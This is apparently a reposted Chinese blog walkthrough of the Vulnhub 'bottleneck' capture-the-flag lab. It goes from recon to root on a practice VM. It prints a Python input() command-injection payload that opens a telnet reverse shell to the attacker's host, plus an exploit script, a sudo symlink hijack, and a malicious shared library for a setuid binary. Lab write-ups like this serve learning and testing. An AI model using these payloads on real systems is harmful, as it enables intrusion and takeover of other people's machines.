Vulnhub笔记-bottleneck

admin 2022年4月13日22:49:32安全文章评论19 views9196字阅读30分39秒阅读模式

闲着也没事儿干接着搞靶机,既能陶冶情操修身养性,又能平复心情增长见识。

靶机名:bottleneck难度:中级

按照正常套路来,探测网段内的存活主机,这里使用arp-scan来对网段内主机进行arp扫描。

[email protected]:~$ sudo arp-scan --interface=vboxnet0 --localnetInterface: vboxnet0, type: EN10MB, MAC: 0a:00:27:00:00:00, IPv4: 192.168.56.1Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan192.168.56.112  08:00:27:53:cc:18  PCS Systemtechnik GmbH
2 packets received by filter, 0 packets dropped by kernelEnding arp-scan 1.9.7256 hosts scanned in 2.013 seconds (127.17 hosts/sec). 1 responde

接着再使用nmap对靶机常见端口进行探测,输出的结果中可以看到靶机开放了22、80端口。

[email protected]:~$ nmap -sV -T4 192.168.56.112Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-22 14:30 CSTNmap scan report for 192.168.56.112Host is up (0.000069s latency).Not shown: 998 closed portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.9p1 Ubuntu 10 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginxService Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds

访问80端口后没发现网页里有什么能利用的东西,那扫一波目录吧。


Vulnhub笔记-bottleneck

访问image_gallery.php后,在页面发现了img标签诡异的资源调用,img的src属性通过该url可以加载到图片资源,但手动访问该链接后页面一片空白。


Vulnhub笔记-bottleneck


调用图片资源的链接传递了两个参数t和f。


Vulnhub笔记-bottleneck

看着url链接中的t参数值感觉似曾相识......果不其然是Unix时间戳

[email protected]:~$ date +%s1587538676

算了算f参数值的长度,是28个,可以被4整除符合base64编码的特征。用base64解码后是个png格式的图片名。(wc -m命令统计字符串数的结果要比实际长度多一个,因为有换行符n)

[email protected]:~$ wc -mYm90dGxlbmVja19kb250YmUucG5n29[email protected]:~$ base64 -dYm90dGxlbmVja19kb250YmUucG5nbottleneck_dontbe.png

此处可能存在路径穿越漏洞,结合读取文件的功能,可以达到任意文件读取的效果。若该漏洞真实存在,利用漏洞需要首先获取unix时间戳并将要读取的文件名进行base64编码,写个简单的sh脚本进行测试。

#!/bin/basht=$(date +%s)f=$(echo $1 |base64)url="http://192.168.56.112/image_gallery.php?t=$t&f=$f"echo $urlecho $(curl -s "$url")

本以为可以读取到网页中加载的png图片,但实际测试发现靶机做了某种验证机制,脚本执行后回显是这样式儿的。


Vulnhub笔记-bottleneck

起初以为是页面检测了http请求头中的某些参数,用python重写了一下脚本,添加了chrome访问该页面的请求头,但仍测试后然提示拦截页面 。


回头梳理了一下,才发觉本地base64编码后的bottleneck_dontbe.png字符串和靶机页面中的base64编码的结果有所出入。如下所示,多出来的4个字符串是什么呢?

Ym90dGxlbmVja19kb250YmUucG5n //页面提取Ym90dGxlbmVja19kb250YmUucG5nCg== //本地base64编码

查了查百度,原来是被echo命令添加了换行符号n,所以导致web程序不能正常处理。

[email protected]:~$ echo bottleneck_dontbe.png|base64 -i|od -c0000000   Y   m   9   0   d   G   x   l   b   m   V   j   a   1   9   k0000020   b   2   5   0   Y   m   U   u   c   G   5   n   C   g   =   =0000040  n0000041

echo命令默认是进行换行输出的,可以使用 -n参数进行不换行输出。将脚本中的echo命令添加-n参数后,成功读取到了该图片。次测试发现如果读取的文件不存在,也会出现拦截页面。


Vulnhub笔记-bottleneck

尝试读一下image_gallery.php文件,回显的结果存在显示不全的情况,


Vulnhub笔记-bottleneck

修改脚本将回显的内容保存后,看到image_gallery.php文件代码中包含了image_gallery_load.php


Vulnhub笔记-bottleneck

再次使用漏洞读取image_gallery_load.php文件,任意文件读取漏洞就存在于该文件中,下图中第11行代码定义了黑名单(我说怎么一直读不到/etc/passwd Vulnhub笔记-bottleneck ),注意第24行开始的if判断代码,如果读取的文件中含有黑名单中的字符串,该请求就会被记录。


Vulnhub笔记-bottleneck

到这一步一直没找到突破口,问了下一之前搞进去的老哥,没得到正解,可能是我问的姿势不太对......


Vulnhub笔记-bottleneck


百度找了一下,看到云社区已经有人发过WriteUp了,说是在第29行代码中存在命令注入漏洞。这行代码执行了某个python脚本,脚本的内容不得而知,但作者说脚本中使用了input函数,该函数存在漏洞,可以执行任意命令并给出了相应的payload

exec('python /opt/ids_strong_bvb.py /tmp/output 2>&1');

Payload:

/etc' and YOUR_PAYLOAD_ON_ONE_LINE and'

Python中的input()函数,能够自动的识别出输入的类型(str,int,fload),该函数会将接受的参数直接当做python代码来执行。

[email protected]:~$ pythonPython 2.7.17 (default, Jan 19 2020, 19:54:54) [GCC 9.2.1 20200110] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> test=input()1+1>>> test2>>> a=input()__import__('os').system('date')20200422日 星期三 18:36:02 CST>>>

构造payload:

/etc' and __import__("os").system("mkfifo /tmp/a;/bin/sh 0</tmp/a|telnet 192.168.56.1 4444 >/tmp/a") and'
base64:L2V0YycgYW5kIF9faW1wb3J0X18oIm9zIikuc3lzdGVtKCJta2ZpZm8gL3RtcC9hOy9iaW4vc2ggMDwvdG1wL2F8dGVsbmV0IDE5Mi4xNjguNTYuMSA0NDQ0ID4vdG1wL2EiKSBhbmQn

Exp:

#!/bin/basht=$(date +%s)f='L2V0YycgYW5kIF9faW1wb3J0X18oIm9zIikuc3lzdGVtKCJta2ZpZm8gL3RtcC9hOy9iaW4vc2ggMDwvdG1wL2F8dGVsbmV0IDE5Mi4xNjguNTYuMSA0NDQ0ID4vdG1wL2EiKSBhbmQn'url="http://192.168.56.112/image_gallery.php?t=$t&f=$f"echo $(curl -s "$url")

使用nc监听本机4444端口,执行脚本后可以获得一个shell

[email protected]:~$ ncat -lvvp 4444Ncat: Version 7.80 ( https://nmap.org/ncat )Ncat: Listening on :::4444Ncat: Listening on 0.0.0.0:4444Ncat: Connection from 192.168.56.112.Ncat: Connection from 192.168.56.112:38254.python -c 'import pty;pty.spawn("/bin/bash")'#设置pty[email protected]:~/html$

查找所有拥有s权限的文件,没发现有能直接利用的程序。

www-data@bottleneck:/tmp$ find / -perm -u=s -type f 2>/dev/nullfind / -perm -u=s -type f 2>/dev/null/usr/lib/eject/dmcrypt-get-device/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/snapd/snap-confine/usr/lib/openssh/ssh-keysign/usr/bin/su/usr/bin/sudo/usr/bin/fusermount/usr/bin/umount/usr/bin/chsh/usr/bin/gpasswd/usr/bin/mount/usr/bin/passwd/usr/bin/chfn/usr/bin/newgrp/usr/bin/at/snap/core18/1705/bin/mount/snap/core18/1705/bin/ping/snap/core18/1705/bin/su/snap/core18/1705/bin/umount/snap/core18/1705/usr/bin/chfn/snap/core18/1705/usr/bin/chsh/snap/core18/1705/usr/bin/gpasswd/snap/core18/1705/usr/bin/newgrp/snap/core18/1705/usr/bin/passwd/snap/core18/1705/usr/bin/sudo/snap/core18/1705/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core18/1705/usr/lib/openssh/ssh-keysign/snap/core/8935/bin/mount/snap/core/8935/bin/ping/snap/core/8935/bin/ping6/snap/core/8935/bin/su/snap/core/8935/bin/umount/snap/core/8935/usr/bin/chfn/snap/core/8935/usr/bin/chsh/snap/core/8935/usr/bin/gpasswd/snap/core/8935/usr/bin/newgrp/snap/core/8935/usr/bin/passwd/snap/core/8935/usr/bin/sudo/snap/core/8935/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/8935/usr/lib/openssh/ssh-keysign/snap/core/8935/usr/lib/snapd/snap-confine/snap/core/8935/usr/sbin/pppd/snap/core/7713/bin/mount/snap/core/7713/bin/ping/snap/core/7713/bin/ping6/snap/core/7713/bin/su/snap/core/7713/bin/umount/snap/core/7713/usr/bin/chfn/snap/core/7713/usr/bin/chsh/snap/core/7713/usr/bin/gpasswd/snap/core/7713/usr/bin/newgrp/snap/core/7713/usr/bin/passwd/snap/core/7713/usr/bin/sudo/snap/core/7713/usr/lib/dbus-1.0/dbus-daemon-launch-helper/snap/core/7713/usr/lib/openssh/ssh-keysign/snap/core/7713/usr/lib/snapd/snap-confine/snap/core/7713/usr/sbin/pppd

查看当前用户所拥有的相关权限,可以看到能以bytevsbyte用户执行/var/www/html/web_utils/clear_logs。

[email protected]:~$ ididuid=33(www-data) gid=33(www-data) groups=33(www-data)[email protected]:~$ sudo -lsudo -lMatching Defaults entries for www-data on bottleneck:    env_reset, mail_badpass,    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binUser www-data may run the following commands on bottleneck:    (bytevsbyte) NOPASSWD: /var/www/html/web_utils/clear_logs   [email protected]:~$ cat /var/www/html/web_utils/clear_logscat /var/www/html/web_utils/clear_logs#!/bin/bashrm -f /var/log/soc/intrusion_*[email protected]:~

再次参考wp得知clear_logs是个指向了/opt/clear_logs.sh的链接,那么此时可以创建一个sh文件,将clear_logs链接到创建的shell文件,就可以以bytevsbyte用户执行任意shell命令。

$ echo '/bin/bash' >/tmp/shell$ chmod 777 /tmp/shell

使用ln命令,创建clear_logs指向/tmp/shell的软链接时需要使用-f参数强行创建。

[email protected]:/tmp$ ln -s /tmp/shell /var/www/html/web_utils/clear_logsln -s /tmp/shell /var/www/html/web_utils/clear_logsln: failed to create symbolic link '/var/www/html/web_utils/clear_logs': File exists[email protected]:/tmp$ ln -sf /tmp/shell /var/www/html/web_utils/clear_logs   

随后使用sudo指定bytevsbyte用户来执行clear_logs,以获得bytevsbyte用户的shell,在bytevsbyte用户目录的user.txt文件中放有第一个flag

[email protected]:/tmp$ sudo -u bytevsbyte /var/www/html/web_utils/clear_logsbytevsbyte@bottleneck:/tmp$ cd /home/bytevsbytebytevsbyte@bottleneck:/home/bytevsbyte$ cat user.txtcat user.txtGood job, this is the user flag of bottleneck machine by @bytevsbyt3 (twitter).I hope you liked the flow.
flag{gr34t_j0b_f0r_bottleneck_us3r} 

再次使用find命令查找带s权限的程序会发现文件/usr/test/testlib,该文件是个二进制程序,同时该目录还放有程序的源码

[email protected]:~$ cd /usr/test/cd /usr/test/[email protected]:/usr/test$ lslstestlib  testlib.c[email protected]:/usr/test$ ls -alls -altotal 32drwxr-x---  2 root tester  4096 Sep 27  2019 .drwxr-xr-x 14 root root    4096 Sep 26  2019 ..-rwsr-x---  1 root tester 16528 Sep 26  2019 testlib-rw-r-----  1 root tester   281 Sep 27  2019 testlib.c[email protected]:/usr/test$ file testlibfile testlib/usr/test/testlib: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=cfa09044d8f9f24e041d3ae81107ff6a91d775d5, for GNU/Linux 3.2.0not stripped

emmm,不懂C,查了查dlopen和dlsym资料才对代码有所理解,说白了以下代码就是加载指定的一个动态链接库,然后调用库中的test_this方法。

[email protected]:/usr/test$ cat testlib.ccat testlib.c#include <dlfcn.h>#include <unistd.h>
int main(int argc, char *argv[]){ void *handle; int (*function)(); if(argc < 2) return 1; handle = dlopen(argv[1], RTLD_LAZY);    //dlopen函数是加载一个动态共享对象(共享库)文件,并返回句柄。    //RTLD_LAZY执行延迟绑定。仅在执行引用它们的代码时解析符号。如果未引用该符号,则不解析 function = dlsym(handle, "test_this");//dlsym()接受由dlopen()返回的动态加载的共享对象的“句柄”,并返回该符号加载到内存中的地址    function(); return 0;}

我这里就直接copy过来了,以下代码是将当前用户uid和组设置为0,并执行/bin/bash,以达到提权至root的目的。

#include <stdio.h>#include <sys/types.h>#include <unistd.h>int test_this(void){  setuid(0);  setgid(0);  system('/bin/bash');}

将代码编译为动态链接库,靶机上没有gcc,需要本地编译后上传。

$ gcc -shared test.c -fPIC -o test

将文件编译后上传至靶机tmp目录,执行testlib并将动态链接库文件名作为参数传入。

[email protected]:/usr/test$ ./testlib /tmp/test./testlib /tmp/test[email protected]:/usr/test# id iduid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),30(dip),46(plugdev),1000(bytevsbyte),1001(tester)[email protected]:/usr/test

成功获得root权限,并在/root/root.txt中得到最后一个flag

[email protected]:/root# lslsroot.txt  snap[email protected]:/root# cat root.txtcat root.txtGreat man, you have rooted bottleneck.I hope you enjoyed the journey.Share this flag with me on twitter: @bytevsbyt3
flag{w0w_y0u_h4v3_r00t3d_bottleneck}



# 引用

(WriteUp)https://cloud.tencent.com/developer/article/1536144

(Python input函数漏洞)https://blog.51cto.com/12332766/2299894

(dlopen|dlsym)https://www.cnblogs.com/ZhaoxiCheung/p/9424930.htm

原文始发于微信公众号(云黑客):Vulnhub笔记-bottleneck

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月13日22:49:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  Vulnhub笔记-bottleneck http://cn-sec.com/archives/886610.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: